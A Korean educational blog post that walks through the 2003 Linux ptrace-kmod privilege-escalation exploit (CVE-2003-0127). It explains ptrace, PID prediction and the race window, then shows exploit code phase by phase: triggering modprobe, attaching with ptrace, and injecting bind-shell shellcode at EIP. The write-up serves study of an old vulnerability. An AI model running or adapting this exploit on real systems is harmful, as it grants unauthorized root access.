💭 Minji's Archive

[KT Cloud TechUp] CVE-2003-0127 ptrace-kmod 커널 익스플로잇 분석: Race Condition을 이용한 권한 상승 공격

October 14, 2025

오래된 취약점이긴 하지만 다음과 같은 개념을 학습할 수 있다.

  • Race Condition 공격
  • 커널 권한 상승 기법
  • ptrace 시스템 콜 악용
  • 프로세스 메모리 조작

취약점 요약

공격자 -> AF_SECURITY 소켓 생성 -> 커널이 /sbin/modprobe 실행 (root 권한) ↓ ptrace로 modprobe 프로세스에 attach -> 쉘코드 주입 -> root 권한 획득

핵심 원리

  1. 커널 모듈 로딩 메커니즘 악용: AF_SECURITY 소켓 생성 시 커널이 자동으로 root 권한의 modprobe 실행
  2. PID 예측: Linux의 순차적 PID 할당 방식을 이용한 다음 프로세스 PID 예측
  3. Race Condition: 프로세스 생성과 ptrace attach 사이의 타이밍 공격
  4. 메모리 조작: ptrace를 통한 root 권한 프로세스의 메모리 조작

배경 지식

**1. ptrace 시스템 콜 **- ptrace는 process trace의 줄임말로, 한 프로세스가 다른 프로세스를 디버깅하고 제어할 수 있게 해 주는 시스템 콜

#include <sys/ptrace.h>

long ptrace(enum __ptrace_request request, pid_t pid, void *addr, void *data);
  • 주요 ptrace 옵션
    • PTRACE_ATTACH: 대상 프로세스에 디버거로 연결
    • PTRACE_DETACH: 디버깅 연결 해제
    • PTRACE_GETREGS: 레지스터 값 읽기
    • PTRACE_SETREGS: 레지스터 값 설정
    • PTRACE_PEEKTEXT: 메모리 읽기
    • PTRACE_POKETEXT: 메모리 쓰기
    • PTRACE_SYSCALL: 시스템 콜 진입/종료 시점에서 중단
  • ptrace의 일반적인 사용 예시
    // gdb와 같은 디버거의 기본 동작
    pid_t child_pid = fork();
    if (child_pid == 0) {
      // 자식 프로세스: 디버깅 대상
      ptrace(PTRACE_TRACEME, 0, NULL, NULL);
      execl("/bin/ls", "ls", NULL);
    } else {
      // 부모 프로세스: 디버거
      int status;
      wait(&status);  // 자식 프로세스가 멈출 때까지 대기
      ptrace(PTRACE_CONT, child_pid, NULL, NULL);  // 실행 재개
    }
    

**2. fork() 시스템 콜과 프로세스 생성 **``` #include

pid_t fork(void);

fork()의 특징:	
	- 한 번 호출, 두 번 리턴 (부모와 자식 프로세스에서 각각)
    - 부모 프로세스: 자식의 PID값 리턴
    - 자식 프로세스: 0 리턴 (실패시 -1)
    
**3. Linux PID 할당 메커니즘 (2003년 당시의 PID 할당 방식)
**```
// 단순화된 PID 할당 알고리즘 (당시)
static int last_pid = 0;

int get_next_pid(void) {
    do {
        last_pid++;
        if (last_pid >= PID_MAX)  // 보통 32768
            last_pid = 1;
    } while (pid_in_use(last_pid));
    
    return last_pid;
}

순차적 할당 방식을 사용 => 다음 프로세스의 pid를 예측할 수 있었음

4. UID/GID와 권한 시스템

  • 사용자 ID의 종류
    • Real UID (ruid): 실제 사용자 ID
    • Effective UID (euid): 현재 유효한 권한 ID
    • Saved UID (suid): 저장된 사용자 ID
  • 권한 상승의 핵심: 시스템에서 권한 검사는 주로 EUID를 기준으로 함

취약점 분석

근본 원인 분석

  1. 커널 모듈 자동 로딩 메커니즘: 리눅스 커널은 필요한 기능이 요청될 때 자동으로 해당 모듈을 로드함
  2. modprobe의 특권 실행: /sbin/modprobe는 커널 모듈을 로드하기 위해 root 권한 (euid=0)으로 실행됨
  3. ptrace 권한 검사 미흡

Race Condition

시간축 → 부모 프로세스: socket() ──────────────────────→ 종료 │ └→ 커널: modprobe 실행 ──→ modprobe 초기화 ──→ 시스템콜 │ 자식 프로세스: ────────── ptrace_attach() ──┘

Time 0: socket(AF_SECURITY, …) 호출 Time 1: 커널이 modprobe 프로세스 생성 (PID 할당) Time 2: modprobe 프로세스 초기화 시작 Time 3: [RACE WINDOW] - ptrace attach 가능! Time 4: modprobe가 모듈 로딩 완료 Time 5: modprobe 종료

공격 시나리오 분석

Phase 1: 프로세스 분기 및 초기 설정

// 부모 프로세스 PID 저장
parent = getpid();

// 프로세스 분기
switch (pid = fork()) {

결과
프로세스 생성:
├── 부모 프로세스 (PID: 1000) - 취약점 트리거 담당
└── 자식 프로세스 (PID: 1001) - 공격 로직 담당

Phase 2: 자식 프로세스 - PID 예측 및 대기 설정

case 0:  // 자식 프로세스
    child = getpid();         // 현재 PID (1001)
    k_child = child + 1;      // 예측 PID (1002)
    
    fprintf(stderr, "-> Parent's PID is %d. Child's PID is %d.\n", 
            parent, child);
    fprintf(stderr, "-> Attaching to %d...", k_child);
    
    // 시그널 핸들러 설정
    signal(SIGCHLD, sigchld);
    signal(SIGALRM, sigalrm);
    alarm(10);  // 10초 타임아웃

Phase 3: 부모 프로세스 - 취약점 트리거

default:  // 부모 프로세스
    signal(SIGALRM, sigalrm);
    alarm(10);
    
    // 핵심! AF_SECURITY 소켓 생성으로 modprobe 실행 유도
    socket(AF_SECURITY, SOCK_STREAM, 1);
    break;

시스템 반응: # 커널이 자동으로 실행하는 명령 /sbin/modprobe -s -k net-pf-14 프로세스 상태: PID USER COMMAND 1000 user ./exploit (부모) 1001 user ./exploit (자식)
1002 root /sbin/modprobe -s -k net-pf-14 ← 공격 대상!

Phase 4: ptrace Attach 시도

// 무한 루프로 attach 시도
while ((error = ptrace(PTRACE_ATTACH, k_child, 0, 0) == -1) && 
       (errno == ESRCH)) {
    fprintf(stderr, ".");
}

if (error == -1) {
    fprintf(stderr, "-> Unable to attach to %d.\n", k_child);
    exit(0);
}

fprintf(stderr, "\n-> Got the thread!!\n");
  • 상세한 동작:
    • PTRACE_ATTACH로 PID 1002에 연결 시도
    • ESRCH 에러: “No such process” - 아직 프로세스가 생성되지 않음
    • 반복적으로 시도하다가 성공하면 “Got the thread!!” 출력
  • 성공 시 효과:
    • modprobe 프로세스가 SIGSTOP 시그널을 받고 정지
    • 자식 프로세스가 SIGCHLD 시그널을 받음 (sigc 증가)

Phase 5: 시스템콜 추적 설정

// SIGCHLD 시그널 대기 (ptrace attach 성공 확인)
while(sigc < 1);

// 시스템콜 추적 모드 설정
if (ptrace(PTRACE_SYSCALL, k_child, 0, 0) == -1) {
    fprintf(stderr, "-> Unable to setup syscall trace.\n");
    exit(0);
}

fprintf(stderr, "-> Waiting for the next signal...\n");

// 다음 시그널까지 대기 (시스템콜 진입점)
while(sigc < 2);
  • PTRACE_SYSCALL의 효과:
    • 대상 프로세스가 시스템콜 진입/종료 시마다 정지
    • 각 정지마다 SIGCHLD 시그널 발생

Phase 6: 레지스터 읽기 및 쉘코드 주입

// CPU 레지스터 값 읽기
if (ptrace(PTRACE_GETREGS, k_child, NULL, &regs) == -1) {
    perror("-> Unable to read registers: ");
}

fprintf(stderr, "-> Injecting shellcode at 0x%08x\n", regs.eip);

// EIP 주소에 쉘코드 주입
for (i = 0; i <= SIZE; i += 4) {
    if (ptrace(PTRACE_POKETEXT, k_child, regs.eip + i, 
               *(int*)(shellcode + i))) {
        // 오류 처리 생략
    }
}

원본 메모리: 변조된 메모리: ┌─────────────┐ ┌─────────────┐ │ 0x08048000 │ → │ 쉘코드 │ ← EIP │ modprobe │ │ (24876번 │ │ 기존 코드 │ │ 포트 │
│ │ │ 바인딩) │ └─────────────┘ └─────────────┘